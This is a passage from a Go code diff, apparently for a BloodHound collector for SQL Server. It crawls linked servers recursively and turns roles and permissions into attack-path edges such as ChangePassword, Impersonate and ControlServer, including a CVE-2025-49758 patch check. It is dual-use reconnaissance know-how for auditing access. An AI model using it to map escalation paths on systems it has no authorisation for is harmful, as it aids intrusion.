+func (c *Collector) addLinkedServerToQueue(hostname string, discoveredFrom string, domain string) {
+ c.linkedServersMu.Lock()
+ defer c.linkedServersMu.Unlock()
+
+ // Check for duplicates
+ for _, ls := range c.linkedServersToProcess {
+ if strings.EqualFold(ls.Hostname, hostname) {
+ return
+ }
+ }
+
+ server := c.parseServerString(hostname)
+ server.DiscoveredFrom = discoveredFrom
+ server.Domain = domain
+ c.tryResolveSID(server)
+ c.linkedServersToProcess = append(c.linkedServersToProcess, server)
+}
+
+// processLinkedServersQueue processes discovered linked servers recursively
+func (c *Collector) processLinkedServersQueue(processedServers map[string]bool) {
+ iteration := 0
+ for {
+ // Get current batch of linked servers to process
+ c.linkedServersMu.Lock()
+ if len(c.linkedServersToProcess) == 0 {
+ c.linkedServersMu.Unlock()
+ break
+ }
+
+ // Take the current batch and reset
+ currentBatch := c.linkedServersToProcess
+ c.linkedServersToProcess = nil
+ c.linkedServersMu.Unlock()
+
+ // Filter out already processed servers
+ var serversToProcess []*ServerToProcess
+ for _, server := range currentBatch {
+ key := strings.ToLower(server.Hostname)
+ if !processedServers[key] {
+ serversToProcess = append(serversToProcess, server)
+ processedServers[key] = true
+ } else {
+ c.logVerbose("Skipping already processed linked server: %s", server.Hostname)
+ }
+ }
+
+ if len(serversToProcess) == 0 {
+ continue
+ }
+
+ iteration++
+ fmt.Printf("\n=== Processing %d linked server(s) (iteration %d) ===\n", len(serversToProcess), iteration)
+
+ // Process this batch
+ for i, server := range serversToProcess {
+ discoveredInfo := ""
+ if server.DiscoveredFrom != "" {
+ discoveredInfo = fmt.Sprintf(" (discovered from %s)", server.DiscoveredFrom)
+ }
+ fmt.Printf("\n[Linked %d/%d] Processing %s%s...\n", i+1, len(serversToProcess), server.ConnectionString, discoveredInfo)
+
+ if err := c.processServer(server); err != nil {
+ fmt.Printf("Warning: failed to process linked server %s: %v\n", server.ConnectionString, err)
+ // Continue with other servers
+ }
+ }
+ }
+}
+
+// createFixedRoleEdges creates edges for fixed server and database role capabilities
+func (c *Collector) createFixedRoleEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error {
+ // Fixed server roles with special capabilities
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.TypeDescription != "SERVER_ROLE" || !principal.IsFixedRole {
+ continue
+ }
+
+ switch principal.Name {
+ case "sysadmin":
+ // sysadmin has CONTROL SERVER
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ControlServer,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ case "securityadmin":
+ // securityadmin can grant any permission
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.GrantAnyPermission,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // securityadmin also has ALTER ANY LOGIN
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create ChangePassword edges to SQL logins (same logic as explicit ALTER ANY LOGIN)
+ for _, targetPrincipal := range serverInfo.ServerPrincipals {
+ if targetPrincipal.TypeDescription != "SQL_LOGIN" {
+ continue
+ }
+ if targetPrincipal.Name == "sa" {
+ continue
+ }
+ if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier {
+ continue
+ }
+
+ // Check if target has sysadmin or CONTROL SERVER (including nested)
+ targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo)
+ targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo)
+
+ if !targetHasSysadmin && !targetHasControlServer {
+ // Check CVE-2025-49758 patch status to determine if edge should be created
+ if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) {
+ continue
+ }
+
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: "ALTER ANY LOGIN",
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ case "##MS_LoginManager##":
+ // SQL Server 2022+ fixed role: has ALTER ANY LOGIN permission
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create ChangePassword edges to SQL logins (same logic as ALTER ANY LOGIN)
+ for _, targetPrincipal := range serverInfo.ServerPrincipals {
+ if targetPrincipal.TypeDescription != "SQL_LOGIN" {
+ continue
+ }
+ if targetPrincipal.Name == "sa" {
+ continue
+ }
+ if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier {
+ continue
+ }
+
+ // Check if target has sysadmin or CONTROL SERVER (including nested)
+ targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo)
+ targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo)
+
+ if !targetHasSysadmin && !targetHasControlServer {
+ if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) {
+ continue
+ }
+
+ cpEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: "ALTER ANY LOGIN",
+ },
+ )
+ if err := writer.WriteEdge(cpEdge); err != nil {
+ return err
+ }
+ }
+ }
+
+ case "##MS_DatabaseConnector##":
+ // SQL Server 2022+ fixed role: has CONNECT ANY DATABASE permission
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ConnectAnyDatabase,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Fixed database roles with special capabilities
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ if principal.TypeDescription != "DATABASE_ROLE" || !principal.IsFixedRole {
+ continue
+ }
+
+ switch principal.Name {
+ case "db_owner":
+ // db_owner has CONTROL on the database - create both Control and ControlDB edges
+ // MSSQL_Control (non-traversable) - matches PowerShell behavior
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Control,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // MSSQL_ControlDB (traversable)
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.ControlDB,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // NOTE: db_owner does NOT create explicit AddMember or ChangePassword edges
+ // Its ability to add members and change passwords comes from the implicit ControlDB permission
+ // PowerShell doesn't create these edges from db_owner either
+
+ case "db_securityadmin":
+ // db_securityadmin can grant any database permission
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.GrantAnyDBPermission,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // db_securityadmin has ALTER ANY APPLICATION ROLE permission
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyAppRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // db_securityadmin has ALTER ANY ROLE permission
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyDBRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // db_securityadmin can add members to user-defined roles only (not fixed roles)
+ // Also exclude the public role as its membership cannot be changed
+ for _, targetRole := range db.DatabasePrincipals {
+ if targetRole.TypeDescription == "DATABASE_ROLE" &&
+ !targetRole.IsFixedRole &&
+ targetRole.Name != "public" {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: targetRole.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // db_securityadmin can change password for application roles (via ALTER ANY APPLICATION ROLE)
+ for _, appRole := range db.DatabasePrincipals {
+ if appRole.TypeDescription == "APPLICATION_ROLE" {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ appRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: appRole.Name,
+ TargetType: bloodhound.NodeKinds.ApplicationRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ case "db_accessadmin":
+ // db_accessadmin does NOT have any special permissions that create edges
+ // Its role is to manage database access (adding users), which is handled
+ // through its membership in the database, not through explicit permissions
+ }
+ }
+ }
+
+ return nil
+}
+
+// createServerPermissionEdges creates edges based on server-level permissions
+func (c *Collector) createServerPermissionEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error {
+ principalMap := make(map[int]*types.ServerPrincipal)
+ for i := range serverInfo.ServerPrincipals {
+ principalMap[serverInfo.ServerPrincipals[i].PrincipalID] = &serverInfo.ServerPrincipals[i]
+ }
+
+ for _, principal := range serverInfo.ServerPrincipals {
+ for _, perm := range principal.Permissions {
+ if perm.State != "GRANT" && perm.State != "GRANT_WITH_GRANT_OPTION" {
+ continue
+ }
+
+ switch perm.Permission {
+ case "CONTROL SERVER":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ControlServer,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ case "CONNECT SQL":
+ // CONNECT SQL permission allows connecting to the server
+ // Only create edge if the principal is not disabled
+ if !principal.IsDisabled {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.Connect,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ case "CONNECT ANY DATABASE":
+ // CONNECT ANY DATABASE permission allows connecting to any database
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ConnectAnyDatabase,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ case "CONTROL":
+ // CONTROL on a server principal (login/role)
+ if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.Login
+ isServerRole := false
+ isLogin := false
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ if targetPrincipal.TypeDescription == "SERVER_ROLE" {
+ targetType = bloodhound.NodeKinds.ServerRole
+ isServerRole = true
+ } else {
+ // It's a login type (WINDOWS_LOGIN, SQL_LOGIN, etc.)
+ isLogin = true
+ }
+ }
+
+ // First create non-traversable MSSQL_Control edge (matches PowerShell)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Control,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // CONTROL on login = ImpersonateLogin (MSSQL_ExecuteAs), no restrictions (even sa)
+ if isLogin {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAs,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // CONTROL implies AddMember and ChangeOwner for server roles
+ if isServerRole {
+ // Can only add members to fixed roles if source is member (except sysadmin)
+ // or to user-defined roles
+ canAddMember := false
+ if targetPrincipal != nil && !targetPrincipal.IsFixedRole {
+ canAddMember = true
+ }
+ // Check if source is member of target fixed role (except sysadmin)
+ if targetPrincipal != nil && targetPrincipal.IsFixedRole && targetName != "sysadmin" {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == targetName {
+ canAddMember = true
+ break
+ }
+ }
+ }
+
+ if canAddMember {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ case "ALTER":
+ // ALTER on a server principal (login/role)
+ if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.Login
+ isServerRole := false
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ if targetPrincipal.TypeDescription == "SERVER_ROLE" {
+ targetType = bloodhound.NodeKinds.ServerRole
+ isServerRole = true
+ }
+ }
+
+ // Always create the MSSQL_Alter edge (matches PowerShell)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Alter,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // For server roles, also create AddMember edge if conditions are met
+ if isServerRole {
+ canAddMember := false
+ // User-defined roles: anyone with ALTER can add members
+ if targetPrincipal != nil && !targetPrincipal.IsFixedRole {
+ canAddMember = true
+ }
+ // Fixed roles (except sysadmin): can add members if source is member of the role
+ if targetPrincipal != nil && targetPrincipal.IsFixedRole && targetName != "sysadmin" {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == targetName {
+ canAddMember = true
+ break
+ }
+ }
+ }
+ if canAddMember {
+ addMemberEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(addMemberEdge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ case "TAKE OWNERSHIP":
+ // TAKE OWNERSHIP on a server principal
+ if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.Login
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ if targetPrincipal.TypeDescription == "SERVER_ROLE" {
+ targetType = bloodhound.NodeKinds.ServerRole
+ }
+ }
+
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.TakeOwnership,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // TAKE OWNERSHIP on SERVER_ROLE also grants ChangeOwner (matches PowerShell)
+ if targetPrincipal != nil && targetPrincipal.TypeDescription == "SERVER_ROLE" {
+ changeOwnerEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(changeOwnerEdge); err != nil {
+ return err
+ }
+ }
+ }
+
+ case "IMPERSONATE":
+ if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ }
+
+ // MSSQL_Impersonate edge (matches PowerShell which uses MSSQL_Impersonate at server level)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Impersonate,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create ExecuteAs edge (PowerShell creates both)
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAs,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ case "IMPERSONATE ANY LOGIN":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ImpersonateAnyLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ case "ALTER ANY LOGIN":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // ALTER ANY LOGIN also creates ChangePassword edges to SQL logins
+ // PowerShell logic: target must be SQL_LOGIN, not sa, not sysadmin/CONTROL SERVER
+ for _, targetPrincipal := range serverInfo.ServerPrincipals {
+ if targetPrincipal.TypeDescription != "SQL_LOGIN" {
+ continue
+ }
+ if targetPrincipal.Name == "sa" {
+ continue
+ }
+ if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier {
+ continue
+ }
+
+ // Check if target has sysadmin or CONTROL SERVER (including nested)
+ targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo)
+ targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo)
+
+ if targetHasSysadmin || targetHasControlServer {
+ continue
+ }
+
+ // Check CVE-2025-49758 patch status to determine if edge should be created
+ if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) {
+ continue
+ }
+
+ // Create ChangePassword edge
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ case "ALTER ANY SERVER ROLE":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyServerRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create AddMember edges to each applicable server role
+ // Matches PowerShell: user-defined roles always, fixed roles only if source is direct member (except sysadmin)
+ for _, targetRole := range serverInfo.ServerPrincipals {
+ if targetRole.TypeDescription != "SERVER_ROLE" {
+ continue
+ }
+
+ canAlterRole := false
+ if !targetRole.IsFixedRole {
+ // User-defined role: anyone with ALTER ANY SERVER ROLE can alter it
+ canAlterRole = true
+ } else if targetRole.Name != "sysadmin" {
+ // Fixed role (except sysadmin): can only add members if source is a direct member
+ for _, membership := range principal.MemberOf {
+ if membership.Name == targetRole.Name {
+ canAlterRole = true
+ break
+ }
+ }
+ }
+
+ if canAlterRole {
+ addMemberEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetRole.Name,
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(addMemberEdge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// createDatabasePermissionEdges creates edges based on database-level permissions
+func (c *Collector) createDatabasePermissionEdges(writer *bloodhound.StreamingWriter, db *types.Database, serverInfo *types.ServerInfo) error {
+ principalMap := make(map[int]*types.DatabasePrincipal)
+ for i := range db.DatabasePrincipals {
+ principalMap[db.DatabasePrincipals[i].PrincipalID] = &db.DatabasePrincipals[i]
+ }
+
+ for _, principal := range db.DatabasePrincipals {
+ for _, perm := range principal.Permissions {
+ if perm.State != "GRANT" && perm.State != "GRANT_WITH_GRANT_OPTION" {
+ continue
+ }
+
+ switch perm.Permission {
+ case "CONTROL":
+ if perm.ClassDesc == "DATABASE" {
+ // Create MSSQL_Control (non-traversable) edge
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Control,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Create MSSQL_ControlDB (traversable) edge
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.ControlDB,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
